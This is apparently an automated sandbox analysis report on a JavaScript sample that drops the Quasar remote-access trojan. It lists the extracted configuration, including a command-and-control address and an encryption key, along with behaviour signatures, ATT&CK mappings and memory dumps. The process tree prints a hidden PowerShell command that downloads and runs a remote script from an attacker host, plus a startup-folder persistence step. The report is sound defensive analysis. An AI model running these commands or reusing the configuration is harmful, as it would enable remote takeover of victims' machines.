Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
13/08/2026, 00:16
General
- Target FACTr.js
- Size 348KB
- Sample260813-akpgysff67
- SHA256 1273747abdba8032d7c6483e7a475fb2a2b4adebdf6906c87b5ad9aef9b18183
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://aircruza.it.com/cjr.jpg
Extracted
-
ps1
-
ps1.dropper
https://aircruza.it.com/cjr.jpg
Extracted
-
quasar
-
2.8.0.1
-
Bora
-
191.96.224.177:5552
-
1ZE2SECt9G0IYxD74o
-
encryption_key
N3lCPSrS6BRljoCDClTr
-
install_name
Venom.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Venom Client Startup
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar payload 1 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- .NET Reactor proctector 64 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\FACTr.js1⤵
- Creates a file in the Startup directory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado.bat""1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('https://aircruza.it.com/cjr.jpg')2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tmp4438.tmp.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3JavaScript
1PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_vj0iosqh.154.ps1
tmp4438.tmp.ps1
meu_script_gerado.bat
memory/1064-84-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-54-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-40-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-158-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-156-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-154-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-152-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-150-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-148-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-146-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-144-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-142-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-82-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-138-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-136-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-134-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-132-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-130-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-128-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-126-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-124-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-122-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-120-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-118-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-116-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-112-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-110-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-106-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-104-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-102-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-100-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-94-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-92-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-88-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-86-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-32-0x000001357B730000-0x000001357B76E000-memory.dmp
memory/1064-140-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-34-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-38-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-74-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-72-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-71-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-66-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-64-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-60-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-58-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-56-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-78-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-52-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-50-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-48-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-46-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-76-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-36-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-114-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-108-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-98-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-96-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-90-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-80-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-68-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-62-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-44-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-42-0x000001357B730000-0x000001357B767000-memory.dmp
memory/1064-33-0x000001357B730000-0x000001357B767000-memory.dmp
memory/3604-265-0x0000000000400000-0x00000000004EC000-memory.dmp
memory/3604-266-0x0000000005780000-0x0000000005D24000-memory.dmp
memory/3604-267-0x0000000005270000-0x0000000005302000-memory.dmp
memory/3604-268-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/3604-269-0x0000000006050000-0x0000000006062000-memory.dmp
memory/3604-270-0x0000000006B90000-0x0000000006B9A000-memory.dmp
memory/3604-271-0x00000000065D0000-0x000000000660C000-memory.dmp
memory/4412-3-0x000002163D630000-0x000002163D640000-memory.dmp
memory/4412-2-0x000002163D630000-0x000002163D640000-memory.dmp
memory/4412-4-0x0000021625510000-0x0000021625532000-memory.dmp
memory/4412-18-0x000002163D630000-0x000002163D640000-memory.dmp